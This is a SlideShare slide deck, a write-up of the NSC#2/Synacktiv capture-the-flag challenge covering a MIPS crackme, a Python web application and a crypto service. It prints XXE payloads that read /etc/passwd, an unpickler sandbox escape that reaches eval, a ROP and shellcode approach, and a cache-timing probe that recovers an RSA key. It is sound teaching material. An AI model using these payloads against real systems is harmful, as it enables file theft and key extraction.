SlideShare a Scribd company logo
NSC#2 / Synacktiv challenge
Who am I
● Fabien Perigaud (@0xf4b)
● Reverse engineer at Airbus Defence and Space
● Challenges addict :)
NSC#2 challenge
● 3 parts
– MIPS crackme
– Web / Python exploitation
– X64 / Crypto exploitation
MIPS crackme
$ file crackmips
crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically linked
(uses shared libs), for GNU/Linux 2.6.26,
BuildID[sha1]=be26414a4b6e7af7098c07a6646a5c658e1440e7, not stripped
●
Runs in Qemu
● MIPS Debian images available (Aurel32)
root@debian-mipsel:~# ./crackmips
usage: ./crackmips password
root@debian-mipsel:~# ./crackmips test
WRONG PASSWORD
In IDA
● Ugly big block
● Quite simple global
behaviour
In IDA (2)
Parent: debug()
● Waits for a child break
● Get $pc value (ptrace(...))
● Big block (again!) to compute new $pc
● Replace $pc in child's context
=> Operations on $pc independent from the
password
Parent: debug() (2)
● Simple GDB script can recover all modified $pc values
b *0x400B90
commands
p/x $v0
cont
end
b *0x401D88
commands
p/x $v0
cont
end
Child: big ugly block
● Operates on DWORD of the password (loop on 6
DWORD)
● Can be divided in ~100 small blocks
– Separated by “break 0” instructions
● Each small block is a simple operation
– Only ~10 different ones (NOT/ADD/SUB/ROR/ROL/XOR
with immediate values or a counter)
– Pattern matching on instructions to transform big block
in a set of basic operations
Big block transformation
$ python transform.py extract_ida.txt
[...]
.text:00402290: SUB CNT
.text:004022C0: ROR 1
.text:0040230C: SUB CNT
.text:0040233C: XOR 0x7B4DE789
.text:00402370: ADD 0x87DD2BC5
.text:004023A4: ROR 12
.text:004023F0: ADD CNT
.text:00402420: XOR CNT
.text:00402450: ROL 13
.text:0040249C: NOT
[...]
Putting all together
● New execution path + basic operations on
password
● We can now invert the algorithm from the string
"[ Synacktiv + NSC = <3 ]"
Part1 done
$ python resolve_part1.py
322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
# ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
good job!
Next level is there:
http://nsc2014.synacktiv.com:65480/oob4giekee4zaeW9/
Web Exploitation
Web exploitation (2)
● Try to post a message
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<msg>MSG_TEST</msg>
=> Smells like XML ! XXE anyone ?
XXE !
● Let's try …
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///etc/passwd">]><msg>&z;</msg>
XXE ! (2)
● Dir listing ?
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///">]><msg>&z;</msg>
XXE ! (3)
● Just retrieve the two files
$ cat app.conf
[global]
you_know_how_to_play_with_xxe = 1
admin_url = /secret.key
[viewstate]
key = ab2f8913c6fde13596c09743a802ff7a
$ file viewstate.pyc
viewstate.pyc: python 2.7 byte-compiled
/secret.key ?
● viewstate.pyc → uncompyle2 → viewstate.py
● Code responsible for the /secret.key request
ADMIN_HOSTS = frozenset(['127.0.0.1', '::1', '10.0.1.200'])
@staticmethod
def getMasterSecretKey(req, vs_data = None):
assert isinstance(req, EZWebRequest)
vs = App._load_session(vs_data)
if vs.data.get('uid', -1) != 31337:
raise SecurityError('not allowed from this uid')
if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS:
raise SecurityError('not allowed from this IP address')
return (vs, SecretStore.getMasterKey())
vs
● Serialized dictionary → compressed (zlib) →
ciphered (AES) → encoded (base64)
● Key provided by app.conf
● Unserialization done by a custom Unpickler
(restricted __reduce__() functions list)
SAFE_BUILTINS = frozenset(['bool', 'chr', 'dict', 'float',
'getattr', 'int', 'list', 'locals', 'long', 'max', 'min', 'repr',
'set', 'setattr', 'str', 'sum', 'tuple', 'type', 'unicode'])
Python exploitation
● Goal: add eval to the SAFE_BUILTINS set
● Steps:
– Create new set → we've access to set()
– Retrieve “self” → next slide :)
– setattr(self, “SAFE_BUILTINS”, new_set) → we've
access to setattr()
– PROFIT §§§ → next next slide
Python exploitation (2)
● locals() returns a dict containing “self”
● getattr() does not allow to retrieve a dict
element
● type(“x”, (), mydict) allows to create a new
object with mydict as __dict__
● “self” retrieved with :
getattr(type("obj42", (), locals()), "self")
Python exploitation (3)
● Secret key should be in the getMasterKey()
function constants
eval(__import__('viewstate').SecretStore.getMas
terKey.func_code.co_consts)
● Final vs
vs = {'msg': [{'body': SETATTR(), 'title': EVAL()}],
'display_name': 'guest'}
Part2 done
… "messages": [{"body": null, "title": [null, 124,
"getMasterKey() caller not authorized (opcode %i/%i)",
"viewstate.py", "getMasterKey() caller not authorized",
"getMasterSecretKey", "getMasterKey() caller not authorized
(function %s/%s)",
"master_key=http://nsc2014.synacktiv.com:65480/OhXieK1hEiza
hk2i/securedrop.tar.gz"]} ...
SecureDrop
$ tar tvzf securedrop.tar.gz
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/client/
● -rw-r--r-- efiliol/ANSSI 2002 2014-08-28 12:23 securedrop/client/client.py
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/archive/
● -rw-r--r-- efiliol/ANSSI 803 2014-09-01 17:06 securedrop/archive/messages
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 19:06 securedrop/servers/
● -rwxr-xr-x efiliol/ANSSI 9600 2014-08-27 18:43 securedrop/servers/SecDrop
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:34 securedrop/servers/xinetd.conf/
● -rw-r--r-- efiliol/ANSSI 466 2014-08-27 14:34 securedrop/servers/xinetd.conf/secdrop
● -rw-r--r-- efiliol/ANSSI 449 2014-08-27 14:34 securedrop/servers/xinetd.conf/stpm
● -rwxr-xr-x efiliol/ANSSI 14728 2014-08-27 18:43 securedrop/servers/STPM
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:35 securedrop/lib/
● -rwxr-xr-x efiliol/ANSSI 35648 2014-08-27 18:43 securedrop/lib/libsec.so
Global architecture
client.py SecDrop STPM
Client side Server side
Client.py
● Asks a message
● Generates random AES key
● Ciphers message (AES)
● Ciphers AES key (RSA)
● Send ciphered message + ciphered key (+ a
constant password to authenticate with the
service): separation with a 'n'
SecDrop
● Handles client.py connections / requests
● Asks STPM to decrypt the message
● If decryption is correct, save the ciphered
message/key to “messages” file
STPM
● Stores secret keys (AES / RSA)
– Can import new keys
● Handles 4 commands :
– import_key
– export_key
– print_keys
– message_decrypt
libsec.so
● Loaded by both SecDrop and STPM
● Various cryptographic functions :
– AES-OCB3 (encrypt/decrypt messages):
SEC_crypt(), SEC_decrypt()
– RSA (import/export AES key): key_wrap(),
key_unwrap()
● Printing functions: SEC_fprintf(),
SEC_fprintf_keys(), SEC_fgetc()
And now ?
● Goal is to decrypt “messages” file
● Need to get RSA private key OR decrypted
AES key
● Let's have a look at SecDrop
SecDrop Vulnerability
● Trivial stack buffer overflow in client messages handling
● Seccomp with custom rules (only access to read(),
write() and exit())
● No NX on this binary (took me a few days …)
● Performed some ROP to put an arbitrary shellcode in a
known location and jmp on it
– Didn't see the “jmp rsp” in the code …
● Now what ?
Now what ?
client.py SecDrop STPM
Client side Server side
We're here
Now what ?
● Try to call the list_keys() function in STPM
● Returns:
– AES key: k = SECRET :)
– RSA key: q = PRIVATE :)
● Function only allows printing public part of the RSA key :(
21:17 <Baboon> :D
21:17 <Baboon> tu croyais quoi
21:18 <Baboon> tu vas en chier :P
Now hints !
● Spent some days trying to find a “classical”
vulnerability in STPM…
● Hints published by Synacktiv
Hints decoding
● “RDTSC”: timing attack
● “Attack the cache”: timing attack on the CPU
cache
● Looking for papers …
– “FLUSH+RELOAD: a High Resolution, Low Noise, L3
Cache Side-Channel Attack” → attack on CPU cache
to retrieve a RSA key when a naive implementation is
used
Attack!
● Determine the execution path taken by the process
● We'll attack the square and multiply
accum = 1; i = 0; bpow2 = m
while ((d>>i)>0):
if((d>>i) & 1):
accum = (accum*bpow2) % n # multiply
bpow2 = (bpow2*bpow2) % n # square
i+=1
return accum
This part is taken
if the current bit is 1
Processor cache
● CPU wants to execute code at address X
– Check if data is in cache
– If not, load it from memory then cache it
● Is data in cache?
– Just measure the time taken to access it!
● From another process??
– Yes! Shared pages FTW
Shared pages
SecDrop STPM
Physical memory
libsec.so
- Both processes access the same memory page
- If STPM executes address X, the data is put in cache
- If SecDrop then accesses address X, it will be retrieved from
the cache
Attack! (2)
● How to know if code at @X has been executed by
STPM ?
– Measure time to access @X form SecDrop
● Slow → not in cache → not executed
● Fast → in cache → has been executed !
– Flush the cache!
– Sleep ; goto start ;
● Allows to know when a specific part of the code has
been executed across time
– Reveals bits of the key!
Attack! (3)
● Empirically determine two values:
– Sleep time between measures
– Threshold to determine if data is in cache
● Final exploit:
– Ask decryption of key
– Do N measures (one measure stored on 1 bit)
– Retrieve measures
Measurement example
probe:
mfence
lfence
rdtsc
mov esi, eax
mov eax, DWORD [rdi]
lfence
rdtsc
sub eax, esi
mov esi, eax
xor rax, rax
clflush [rdi]
cmp esi, 0xc0
jge probend
mov rax, 1
probend:
retn
Retrieve the key from the bits
● Some statistical analysis and black magic
– Assume square() and multiply() take the same
amount of time
– X 1's followed by X 0's → bit 1
– X 0's only not preceded by 1's → bit 0
● We can see the bits in an hexdump!
GET THE KEY §§§
1
11
00
000
Avoid measurement errors
● Repeat the operation 100 times
● Take the best candidate
– One key is found 70 times on 100
– Other ones only differ by a few bits… exploit in not
perfect :)
● Final key found is 1374 bits
– And does not work to decrypt the AES key :(
Lack of bits
● We may have failed getting some bits ?
– N modulus is 1380 bits
● Bruteforce at most 6 bits of the key !
– Good key found in seconds
Final run
● Decrypt AES key contained in “messages” file
using the retrieved key
● Decrypt the message using AES key
$ python final_p3.py
Good job!
Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to
82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com.
Also, don't forget to send us your solution within 10 days.
Synacktiv team
Thanks !
● For your attention
● To NSC staff for this presentation
● To Synacktiv for their crazy challenge

More Related Content

What's hot (20)

PDF
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
BGA Cyber Security
 
PDF
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 
PPTX
Cisco IOS shellcode: All-in-one
DefconRussia
 
PDF
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
RootedCON
 
ODP
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
PDF
Automated Malware Analysis and Cyber Security Intelligence
Jason Choi
 
PPT
OWASP Much ado about randomness
Aleksandr Yampolskiy
 
PDF
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
PROIDEA
 
PDF
Масштабируемый и эффективный фаззинг Google Chrome
Positive Hack Days
 
PDF
CONFidence 2018: Darknet traffic - what can we learn from nooks and crannies ...
PROIDEA
 
PDF
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Positive Hack Days
 
PPTX
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
RootedCON
 
PPTX
Эксплуатируем неэксплуатируемые уязвимости SAP
Positive Hack Days
 
PDF
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
RootedCON
 
PDF
Threat stack aws
Jen Andre
 
PDF
Python Cryptography & Security
Jose Manuel Ortega Candel
 
PPTX
Secure coding for developers
sluge
 
PPTX
Memory Corruption: from sandbox to SMM
Positive Hack Days
 
PDF
The day I ruled the world (RootedCON 2020)
Javier Junquera
 
PDF
Introduction httpClient on Java11 / Java11時代のHTTPアクセス再入門
tamtam180
 
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
BGA Cyber Security
 
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 
Cisco IOS shellcode: All-in-one
DefconRussia
 
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
RootedCON
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
RootedCON
 
Automated Malware Analysis and Cyber Security Intelligence
Jason Choi
 
OWASP Much ado about randomness
Aleksandr Yampolskiy
 
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
PROIDEA
 
Масштабируемый и эффективный фаззинг Google Chrome
Positive Hack Days
 
CONFidence 2018: Darknet traffic - what can we learn from nooks and crannies ...
PROIDEA
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Positive Hack Days
 
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
RootedCON
 
Эксплуатируем неэксплуатируемые уязвимости SAP
Positive Hack Days
 
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
RootedCON
 
Threat stack aws
Jen Andre
 
Python Cryptography & Security
Jose Manuel Ortega Candel
 
Secure coding for developers
sluge
 
Memory Corruption: from sandbox to SMM
Positive Hack Days
 
The day I ruled the world (RootedCON 2020)
Javier Junquera
 
Introduction httpClient on Java11 / Java11時代のHTTPアクセス再入門
tamtam180
 

Viewers also liked (16)

PDF
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NoSuchCon
 
PDF
NSC #2 - D2 06 - Richard Johnson - SAGEly Advice
NoSuchCon
 
PDF
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
PDF
NSC #2 - Challenge Introduction
NoSuchCon
 
PDF
NSC #2 - D2 01 - Andrea Allievi - Windows 8.1 Patch Protections
NoSuchCon
 
PDF
NSC #2 - D1 03 - Sébastien Dudek - HomePlugAV PLC
NoSuchCon
 
PDF
NSC #2 - D3 04 - Guillaume Valadon & Nicolas Vivet - Detecting BGP hijacks
NoSuchCon
 
PDF
NSC #2 - D1 02 - Georgi Geshev - Your Q is my Q
NoSuchCon
 
PDF
NSC #2 - D3 01 - Thomas Braden - Exploitation of hardened MSP430-based device
NoSuchCon
 
PDF
NSC #2 - D1 01 - Rolf Rolles - Program synthesis in reverse engineering
NoSuchCon
 
PDF
NSC #2 - D3 05 - Alex Ionescu- Breaking Protected Processes
NoSuchCon
 
PDF
NSC #2 - D2 05 - Andrea Barisani - Forging the USB Armory
NoSuchCon
 
PDF
NSC #2 - D3 03 - Jean-Philippe Aumasson - Cryptographic Backdooring
NoSuchCon
 
PDF
NSC #2 - D2 04 - Ezequiel Gutesman - Blended Web and Database Attacks
NoSuchCon
 
PDF
NSC #2 - D2 03 - Nicolas Collignon - Google Apps Engine Security
NoSuchCon
 
PDF
NSC #2 - D1 05 - Renaud Lifchitz - Quantum computing in practice
NoSuchCon
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NoSuchCon
 
NSC #2 - D2 06 - Richard Johnson - SAGEly Advice
NoSuchCon
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
NSC #2 - Challenge Introduction
NoSuchCon
 
NSC #2 - D2 01 - Andrea Allievi - Windows 8.1 Patch Protections
NoSuchCon
 
NSC #2 - D1 03 - Sébastien Dudek - HomePlugAV PLC
NoSuchCon
 
NSC #2 - D3 04 - Guillaume Valadon & Nicolas Vivet - Detecting BGP hijacks
NoSuchCon
 
NSC #2 - D1 02 - Georgi Geshev - Your Q is my Q
NoSuchCon
 
NSC #2 - D3 01 - Thomas Braden - Exploitation of hardened MSP430-based device
NoSuchCon
 
NSC #2 - D1 01 - Rolf Rolles - Program synthesis in reverse engineering
NoSuchCon
 
NSC #2 - D3 05 - Alex Ionescu- Breaking Protected Processes
NoSuchCon
 
NSC #2 - D2 05 - Andrea Barisani - Forging the USB Armory
NoSuchCon
 
NSC #2 - D3 03 - Jean-Philippe Aumasson - Cryptographic Backdooring
NoSuchCon
 
NSC #2 - D2 04 - Ezequiel Gutesman - Blended Web and Database Attacks
NoSuchCon
 
NSC #2 - D2 03 - Nicolas Collignon - Google Apps Engine Security
NoSuchCon
 
NSC #2 - D1 05 - Renaud Lifchitz - Quantum computing in practice
NoSuchCon
 
Ad

Similar to NSC #2 - Challenge Solution (20)

PDF
44CON 2014 - Switches Get Stitches, Eireann Leverett & Matt Erasmus
44CON
 
PPTX
hacking-embedded-devices.pptx
ssuserfcf43f
 
PPTX
Don't Pick the lock
David Maloney
 
PPTX
Offensive Python for Pentesting
Mike Felch
 
PDF
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
Moabi.com
 
PDF
Project Basecamp: News From Camp 4
Digital Bond
 
PDF
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
PDF
Attack All The Layers - What's Working in Penetration Testing
NetSPI
 
PDF
Attack All the Layers - What's Working in Penetration Testing
NetSPI
 
PPTX
Advanced SOHO Router Exploitation XCON
Lyon Yang
 
PDF
Computer Security
Aristotelis Kotsomitopoulos
 
PPTX
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
PDF
Filip palian mateuszkocielski. simplest ownage human observed… routers
Yury Chemerkin
 
PPTX
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
PDF
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum
 
PDF
פתרון חידת המוסד
tal kerem
 
PPT
Intro To Hacking
nayakslideshare
 
PDF
Dssh @ Confidence, Prague 2010
Juraj Bednar
 
PDF
State of the ATTACK
MITRE - ATT&CKcon
 
PDF
RIoT (Raiding Internet of Things) by Jacob Holcomb
Priyanka Aash
 
44CON 2014 - Switches Get Stitches, Eireann Leverett & Matt Erasmus
44CON
 
hacking-embedded-devices.pptx
ssuserfcf43f
 
Don't Pick the lock
David Maloney
 
Offensive Python for Pentesting
Mike Felch
 
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
Moabi.com
 
Project Basecamp: News From Camp 4
Digital Bond
 
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Scott Sutherland
 
Attack All The Layers - What's Working in Penetration Testing
NetSPI
 
Attack All the Layers - What's Working in Penetration Testing
NetSPI
 
Advanced SOHO Router Exploitation XCON
Lyon Yang
 
Computer Security
Aristotelis Kotsomitopoulos
 
Secure360 - Attack All the Layers! Again!
Scott Sutherland
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Yury Chemerkin
 
Secure Coding 101 - OWASP University of Ottawa Workshop
Paul Ionescu
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum
 
פתרון חידת המוסד
tal kerem
 
Intro To Hacking
nayakslideshare
 
Dssh @ Confidence, Prague 2010
Juraj Bednar
 
State of the ATTACK
MITRE - ATT&CKcon
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
Priyanka Aash
 
Ad

Recently uploaded (20)

PDF
State-Dependent Conformal Perception Bounds for Neuro-Symbolic Verification
Ivan Ruchkin
 
PPTX
Lecture 5 - Agentic AI and model context protocol.pptx
Dr. LAM Yat-fai (林日辉)
 
PPTX
Simplifying End-to-End Apache CloudStack Deployment with a Web-Based Automati...
ShapeBlue
 
PDF
Productivity Management Software | Workstatus
Lovely Baghel
 
PDF
visibel.ai Company Profile – Real-Time AI Solution for CCTV
visibelaiproject
 
PDF
CIFDAQ'S Token Spotlight for 16th July 2025 - ALGORAND
CIFDAQ
 
PDF
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
PDF
HR agent at Mediq: Lessons learned on Agent Builder & Maestro by Tacstone Tec...
UiPathCommunity
 
PDF
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
PDF
UiPath on Tour London Community Booth Deck
UiPathCommunity
 
PDF
TrustArc Webinar - Navigating Data Privacy in LATAM: Laws, Trends, and Compli...
TrustArc
 
PDF
Rethinking Security Operations - Modern SOC.pdf
Haris Chughtai
 
PDF
2025-07-15 EMEA Volledig Inzicht Dutch Webinar
ThousandEyes
 
PPTX
Building and Operating a Private Cloud with CloudStack and LINBIT CloudStack ...
ShapeBlue
 
PDF
Arcee AI - building and working with small language models (06/25)
Julien SIMON
 
PDF
Generative AI in Healthcare: Benefits, Use Cases & Challenges
Lily Clark
 
PDF
Novus-Safe Pro: Brochure-What is Novus Safe Pro?.pdf
Novus Hi-Tech
 
PDF
CloudStack GPU Integration - Rohit Yadav
ShapeBlue
 
PDF
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
PDF
Market Wrap for 18th July 2025 by CIFDAQ
CIFDAQ
 
State-Dependent Conformal Perception Bounds for Neuro-Symbolic Verification
Ivan Ruchkin
 
Lecture 5 - Agentic AI and model context protocol.pptx
Dr. LAM Yat-fai (林日辉)
 
Simplifying End-to-End Apache CloudStack Deployment with a Web-Based Automati...
ShapeBlue
 
Productivity Management Software | Workstatus
Lovely Baghel
 
visibel.ai Company Profile – Real-Time AI Solution for CCTV
visibelaiproject
 
CIFDAQ'S Token Spotlight for 16th July 2025 - ALGORAND
CIFDAQ
 
Human-centred design in online workplace learning and relationship to engagem...
Tracy Tang
 
HR agent at Mediq: Lessons learned on Agent Builder & Maestro by Tacstone Tec...
UiPathCommunity
 
Building Resilience with Digital Twins : Lessons from Korea
SANGHEE SHIN
 
UiPath on Tour London Community Booth Deck
UiPathCommunity
 
TrustArc Webinar - Navigating Data Privacy in LATAM: Laws, Trends, and Compli...
TrustArc
 
Rethinking Security Operations - Modern SOC.pdf
Haris Chughtai
 
2025-07-15 EMEA Volledig Inzicht Dutch Webinar
ThousandEyes
 
Building and Operating a Private Cloud with CloudStack and LINBIT CloudStack ...
ShapeBlue
 
Arcee AI - building and working with small language models (06/25)
Julien SIMON
 
Generative AI in Healthcare: Benefits, Use Cases & Challenges
Lily Clark
 
Novus-Safe Pro: Brochure-What is Novus Safe Pro?.pdf
Novus Hi-Tech
 
CloudStack GPU Integration - Rohit Yadav
ShapeBlue
 
NewMind AI Journal - Weekly Chronicles - July'25 Week II
NewMind AI
 
Market Wrap for 18th July 2025 by CIFDAQ
CIFDAQ
 

NSC #2 - Challenge Solution

  • 1. NSC#2 / Synacktiv challenge
  • 2. Who am I ● Fabien Perigaud (@0xf4b) ● Reverse engineer at Airbus Defence and Space ● Challenges addict :)
  • 3. NSC#2 challenge ● 3 parts – MIPS crackme – Web / Python exploitation – X64 / Crypto exploitation
  • 4. MIPS crackme $ file crackmips crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=be26414a4b6e7af7098c07a6646a5c658e1440e7, not stripped ● Runs in Qemu ● MIPS Debian images available (Aurel32) root@debian-mipsel:~# ./crackmips usage: ./crackmips password root@debian-mipsel:~# ./crackmips test WRONG PASSWORD
  • 5. In IDA ● Ugly big block ● Quite simple global behaviour
  • 7. Parent: debug() ● Waits for a child break ● Get $pc value (ptrace(...)) ● Big block (again!) to compute new $pc ● Replace $pc in child's context => Operations on $pc independent from the password
  • 8. Parent: debug() (2) ● Simple GDB script can recover all modified $pc values b *0x400B90 commands p/x $v0 cont end b *0x401D88 commands p/x $v0 cont end
  • 9. Child: big ugly block ● Operates on DWORD of the password (loop on 6 DWORD) ● Can be divided in ~100 small blocks – Separated by “break 0” instructions ● Each small block is a simple operation – Only ~10 different ones (NOT/ADD/SUB/ROR/ROL/XOR with immediate values or a counter) – Pattern matching on instructions to transform big block in a set of basic operations
  • 10. Big block transformation $ python transform.py extract_ida.txt [...] .text:00402290: SUB CNT .text:004022C0: ROR 1 .text:0040230C: SUB CNT .text:0040233C: XOR 0x7B4DE789 .text:00402370: ADD 0x87DD2BC5 .text:004023A4: ROR 12 .text:004023F0: ADD CNT .text:00402420: XOR CNT .text:00402450: ROL 13 .text:0040249C: NOT [...]
  • 11. Putting all together ● New execution path + basic operations on password ● We can now invert the algorithm from the string "[ Synacktiv + NSC = <3 ]"
  • 12. Part1 done $ python resolve_part1.py 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC # ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC good job! Next level is there: http://nsc2014.synacktiv.com:65480/oob4giekee4zaeW9/
  • 14. Web exploitation (2) ● Try to post a message POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<msg>MSG_TEST</msg> => Smells like XML ! XXE anyone ?
  • 15. XXE ! ● Let's try … POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM "file:///etc/passwd">]><msg>&z;</msg>
  • 16. XXE ! (2) ● Dir listing ? POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM "file:///">]><msg>&z;</msg>
  • 17. XXE ! (3) ● Just retrieve the two files $ cat app.conf [global] you_know_how_to_play_with_xxe = 1 admin_url = /secret.key [viewstate] key = ab2f8913c6fde13596c09743a802ff7a $ file viewstate.pyc viewstate.pyc: python 2.7 byte-compiled
  • 18. /secret.key ? ● viewstate.pyc → uncompyle2 → viewstate.py ● Code responsible for the /secret.key request ADMIN_HOSTS = frozenset(['127.0.0.1', '::1', '10.0.1.200']) @staticmethod def getMasterSecretKey(req, vs_data = None): assert isinstance(req, EZWebRequest) vs = App._load_session(vs_data) if vs.data.get('uid', -1) != 31337: raise SecurityError('not allowed from this uid') if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS: raise SecurityError('not allowed from this IP address') return (vs, SecretStore.getMasterKey())
  • 19. vs ● Serialized dictionary → compressed (zlib) → ciphered (AES) → encoded (base64) ● Key provided by app.conf ● Unserialization done by a custom Unpickler (restricted __reduce__() functions list) SAFE_BUILTINS = frozenset(['bool', 'chr', 'dict', 'float', 'getattr', 'int', 'list', 'locals', 'long', 'max', 'min', 'repr', 'set', 'setattr', 'str', 'sum', 'tuple', 'type', 'unicode'])
  • 20. Python exploitation ● Goal: add eval to the SAFE_BUILTINS set ● Steps: – Create new set → we've access to set() – Retrieve “self” → next slide :) – setattr(self, “SAFE_BUILTINS”, new_set) → we've access to setattr() – PROFIT §§§ → next next slide
  • 21. Python exploitation (2) ● locals() returns a dict containing “self” ● getattr() does not allow to retrieve a dict element ● type(“x”, (), mydict) allows to create a new object with mydict as __dict__ ● “self” retrieved with : getattr(type("obj42", (), locals()), "self")
  • 22. Python exploitation (3) ● Secret key should be in the getMasterKey() function constants eval(__import__('viewstate').SecretStore.getMas terKey.func_code.co_consts) ● Final vs vs = {'msg': [{'body': SETATTR(), 'title': EVAL()}], 'display_name': 'guest'}
  • 23. Part2 done … "messages": [{"body": null, "title": [null, 124, "getMasterKey() caller not authorized (opcode %i/%i)", "viewstate.py", "getMasterKey() caller not authorized", "getMasterSecretKey", "getMasterKey() caller not authorized (function %s/%s)", "master_key=http://nsc2014.synacktiv.com:65480/OhXieK1hEiza hk2i/securedrop.tar.gz"]} ...
  • 24. SecureDrop $ tar tvzf securedrop.tar.gz ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/ ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/client/ ● -rw-r--r-- efiliol/ANSSI 2002 2014-08-28 12:23 securedrop/client/client.py ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/archive/ ● -rw-r--r-- efiliol/ANSSI 803 2014-09-01 17:06 securedrop/archive/messages ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 19:06 securedrop/servers/ ● -rwxr-xr-x efiliol/ANSSI 9600 2014-08-27 18:43 securedrop/servers/SecDrop ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:34 securedrop/servers/xinetd.conf/ ● -rw-r--r-- efiliol/ANSSI 466 2014-08-27 14:34 securedrop/servers/xinetd.conf/secdrop ● -rw-r--r-- efiliol/ANSSI 449 2014-08-27 14:34 securedrop/servers/xinetd.conf/stpm ● -rwxr-xr-x efiliol/ANSSI 14728 2014-08-27 18:43 securedrop/servers/STPM ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:35 securedrop/lib/ ● -rwxr-xr-x efiliol/ANSSI 35648 2014-08-27 18:43 securedrop/lib/libsec.so
  • 25. Global architecture client.py SecDrop STPM Client side Server side
  • 26. Client.py ● Asks a message ● Generates random AES key ● Ciphers message (AES) ● Ciphers AES key (RSA) ● Send ciphered message + ciphered key (+ a constant password to authenticate with the service): separation with a 'n'
  • 27. SecDrop ● Handles client.py connections / requests ● Asks STPM to decrypt the message ● If decryption is correct, save the ciphered message/key to “messages” file
  • 28. STPM ● Stores secret keys (AES / RSA) – Can import new keys ● Handles 4 commands : – import_key – export_key – print_keys – message_decrypt
  • 29. libsec.so ● Loaded by both SecDrop and STPM ● Various cryptographic functions : – AES-OCB3 (encrypt/decrypt messages): SEC_crypt(), SEC_decrypt() – RSA (import/export AES key): key_wrap(), key_unwrap() ● Printing functions: SEC_fprintf(), SEC_fprintf_keys(), SEC_fgetc()
  • 30. And now ? ● Goal is to decrypt “messages” file ● Need to get RSA private key OR decrypted AES key ● Let's have a look at SecDrop
  • 31. SecDrop Vulnerability ● Trivial stack buffer overflow in client messages handling ● Seccomp with custom rules (only access to read(), write() and exit()) ● No NX on this binary (took me a few days …) ● Performed some ROP to put an arbitrary shellcode in a known location and jmp on it – Didn't see the “jmp rsp” in the code … ● Now what ?
